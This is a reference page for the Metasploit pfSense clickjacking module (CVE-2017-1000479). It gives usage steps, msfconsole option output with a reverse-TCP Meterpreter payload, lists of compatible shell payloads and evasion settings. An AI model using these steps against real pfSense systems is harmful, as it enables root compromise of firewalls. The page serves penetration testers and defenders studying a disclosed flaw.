Clickjacking Vulnerability In CSRF Error Page pfSense - Metasploit


This page contains detailed information about how to use the exploit/unix/http/pfsense_clickjacking metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Clickjacking Vulnerability In CSRF Error Page pfSense
Module: exploit/unix/http/pfsense_clickjacking
Source code: modules/exploits/unix/http/pfsense_clickjacking.rb
Disclosure date: 2017-11-21
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2017-1000479

This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1. pfSense is a free and open source firewall and router. It was found that the pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin into interacting with a specially crafted webpage it is possible for an attacker to execute arbitrary code in the WebGUI. Since the WebGUI runs as the root user, this will result in a full compromise of the pfSense instance.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use exploit/unix/http/pfsense_clickjacking
msf exploit(pfsense_clickjacking) > exploit

Knowledge Base


Vulnerable Application


This vulnerability affects any pfSense versions prior to 2.4.2-RELEASE.

Vulnerable Setup


The victim should be able to access the WebGUI & must be logged in as admin in order for this exploit to work. Possibly the WebGUI's TLS certificate must be trusted in the browser.

Verification Steps


  1. use exploit/unix/http/pfsense_clickjacking
  2. set TARGETURI https://<ip WebGUI>
  3. exploit
  4. Browse to the URL returned by MSF
  5. Click anywhere on the returned page
  6. Note that a new Meterpreter sessions was started.

Options


TARGETURI

The base path of the WebGUI. The default base path is https://192.168.1.1/

Go back to menu.

Msfconsole Usage


Here is how the unix/http/pfsense_clickjacking exploit module looks in the msfconsole:

msf6 > use exploit/unix/http/pfsense_clickjacking

[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(unix/http/pfsense_clickjacking) > show info

       Name: Clickjacking Vulnerability In CSRF Error Page pfSense
     Module: exploit/unix/http/pfsense_clickjacking
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-11-21

Provided by:
  Yorick Koster

Available targets:
  Id  Name
  --  ----
  0   pfSense <= 2.4.1

Check supported:
  No

Basic options:
  Name       Current Setting      Required  Description
  ----       ---------------      --------  -----------
  SRVHOST    0.0.0.0              yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT    8080                 yes       The local port to listen on.
  SSL        false                no        Negotiate SSL for incoming connections
  SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
  TARGETURI  https://192.168.1.1  yes       The base path to the web application
  URIPATH                         no        The URI to use for this exploit (default is random)

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a Clickjacking vulnerability in pfSense <= 
  2.4.1. pfSense is a free and open source firewall and router. It was 
  found that the pfSense WebGUI is vulnerable to Clickjacking. By 
  tricking an authenticated admin into interacting with a specially 
  crafted webpage it is possible for an attacker to execute arbitrary 
  code in the WebGUI. Since the WebGUI runs as the root user, this 
  will result in a full compromise of the pfSense instance.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-1000479
  https://securify.nl/en/advisory/SFY20171101/clickjacking-vulnerability-in-csrf-error-page-pfsense.html
  https://doc.pfsense.org/index.php/2.4.2_New_Features_and_Changes

Module Options


This is a complete list of options available in the unix/http/pfsense_clickjacking exploit:

msf6 exploit(unix/http/pfsense_clickjacking) > show options

Module options (exploit/unix/http/pfsense_clickjacking):

   Name       Current Setting      Required  Description
   ----       ---------------      --------  -----------
   SRVHOST    0.0.0.0              yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080                 yes       The local port to listen on.
   SSL        false                no        Negotiate SSL for incoming connections
   SSLCert                         no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  https://192.168.1.1  yes       The base path to the web application
   URIPATH                         no        The URI to use for this exploit (default is random)

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   pfSense <= 2.4.1

Advanced Options


Here is a complete list of advanced options supported by the unix/http/pfsense_clickjacking exploit:

msf6 exploit(unix/http/pfsense_clickjacking) > show advanced

Module advanced options (exploit/unix/http/pfsense_clickjacking):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   ListenerComm                             no        The specific communication channel to use for this service
   SSLCipher                                no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false            no        Enable SSL/TLS-level compression
   SendRobots              false            no        Return a robots.txt file if asked for one
   URIHOST                                  no        Host to use in URI (useful for tunnels)
   URIPORT                                  no        Port to use in URI (useful for tunnels)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Payload advanced options (php/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the unix/http/pfsense_clickjacking module can exploit:

msf6 exploit(unix/http/pfsense_clickjacking) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   pfSense <= 2.4.1

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/pfsense_clickjacking exploit:

msf6 exploit(unix/http/pfsense_clickjacking) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/generic/custom                                       normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/php/bind_perl                                        normal  No     PHP Command Shell, Bind TCP (via Perl)
   6   payload/php/bind_perl_ipv6                                   normal  No     PHP Command Shell, Bind TCP (via perl) IPv6
   7   payload/php/bind_php                                         normal  No     PHP Command Shell, Bind TCP (via PHP)
   8   payload/php/bind_php_ipv6                                    normal  No     PHP Command Shell, Bind TCP (via php) IPv6
   9   payload/php/download_exec                                    normal  No     PHP Executable Download and Execute
   10  payload/php/exec                                             normal  No     PHP Execute Command
   11  payload/php/meterpreter/bind_tcp                             normal  No     PHP Meterpreter, Bind TCP Stager
   12  payload/php/meterpreter/bind_tcp_ipv6                        normal  No     PHP Meterpreter, Bind TCP Stager IPv6
   13  payload/php/meterpreter/bind_tcp_ipv6_uuid                   normal  No     PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   14  payload/php/meterpreter/bind_tcp_uuid                        normal  No     PHP Meterpreter, Bind TCP Stager with UUID Support
   15  payload/php/meterpreter/reverse_tcp                          normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   16  payload/php/meterpreter/reverse_tcp_uuid                     normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   17  payload/php/meterpreter_reverse_tcp                          normal  No     PHP Meterpreter, Reverse TCP Inline
   18  payload/php/reverse_perl                                     normal  No     PHP Command, Double Reverse TCP Connection (via Perl)
   19  payload/php/reverse_php                                      normal  No     PHP Command Shell, Reverse TCP (via PHP)

Evasion Options


Here is the full list of possible evasion options supported by the unix/http/pfsense_clickjacking exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/http/pfsense_clickjacking) > show evasion

Module evasion options:

   Name                      Current Setting  Required  Description
   ----                      ---------------  --------  -----------
   HTML::base64              none             no        Enable HTML obfuscation via an embeded base64 html object (IE not supported) (Accepted: none, plain, single_pad, double_pad, random_space_injection)
   HTML::javascript::escape  0                no        Enable HTML obfuscation via HTML escaping (number of iterations)
   HTML::unicode             none             no        Enable HTTP obfuscation via unicode (Accepted: none, utf-16le, utf-16be, utf-16be-marker, utf-32le, utf-32be)
   HTTP::chunked             false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression         none             no        Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
   HTTP::header_folding      false            no        Enable folding of HTTP headers
   HTTP::junk_headers        false            no        Enable insertion of random junk HTTP headers
   HTTP::no_cache            false            no        Disallow the browser to cache HTTP content
   HTTP::server_name         Apache           yes       Configures the Server header of all outgoing replies
   TCP::max_send_size        0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay           0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Clickjacking Vulnerability In CSRF Error Page pfSense


Here is a relevant code snippet related to the "Clickjacking Vulnerability In CSRF Error Page pfSense" error message:

10:	
11:	  def initialize(info = {})
12:	    super(
13:	      update_info(
14:	        info,
15:	        'Name'            => 'Clickjacking Vulnerability In CSRF Error Page pfSense',
16:	        'Description'     => %q{
17:	          This module exploits a Clickjacking vulnerability in pfSense <= 2.4.1.
18:	
19:	          pfSense is a free and open source firewall and router. It was found that the
20:	          pfSense WebGUI is vulnerable to Clickjacking. By tricking an authenticated admin

Go back to menu.


References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


Yorick Koster

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.